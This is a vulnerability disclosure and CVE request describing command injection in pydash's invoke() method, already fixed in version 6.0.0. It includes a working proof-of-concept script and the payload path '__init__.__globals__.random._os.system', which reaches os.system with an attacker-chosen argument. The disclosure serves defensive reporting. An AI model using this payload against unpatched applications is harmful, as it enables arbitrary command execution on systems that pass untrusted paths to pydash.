I have already disclosed this to the maintainer, who issued a fix in version 6.0.0 (https://pypi.org/project/pydash/6.0.0/). I'd like to request a CVE be assigned for this vulnerability.
A number of pydash methods accept dotted paths (Deep Path Strings) to target a nested Python object, relative to the original source object. These paths can be used to target internal class attributes and dict items, to retrieve, modify or invoke nested Python objects.
From my research I have identified that the pydash.objects.invoke()
method (https://pydash.readthedocs.io/en/latest/api.html#pydash.objects.invoke) is vulnerable to Command Injection when the following prerequisites are satisfied:
- The source object (argument 1) is not a built-in object such as list/dict (otherwise, the
__init__.__globals__
path is not accessible) - The attacker has control over argument 2 (the path string) and argument 3 (the argument to pass to the invoked method)
When these prerequisites are met, the attacker can pass an arbitrary path i.e. __init__.__globals__.random._os.system
to call os.system()
with an attacker supplied argument i.e. 'id'.
To a lesser extent, the pydash.collections.invoke_map()
method is also vulnerable, but is harder to exploit as the attacker does not have direct control over the argument to be passed to the invoked function. If it was possible to manipulate the collection to contain an attacker controlled value, Command Injection is likely also possible.
The PoC script below demonstrates this issue, run the script with a malicious dotted path and the string argument to be passed to the invoked function i.e: python pdash.py __init__.__globals__.random._os.system id
import sys
import random
import pydash
class Animal:
def __init__(self, typ, age):
self.type = typ
self.age = age
self.id = random.randint(1, 99999)
def poc(path, arg):
"""
Use a malicious path to execute code via the __init__.__globals__ dict (not available with dict/list input objects?)
I.e: pydash.invoke(obj, '__init__.__globals__.random._os.system', 'id')
"""
obj = Animal('cat', 11)
res = pydash.invoke(obj, path, arg)
print(res)
if __name__ == '__main__':
if len(sys.argv) < 3:
print('Missing args: %s <path> <arg>' % sys.argv[0])
sys.exit(1)
poc(sys.argv[1], sys.argv[2])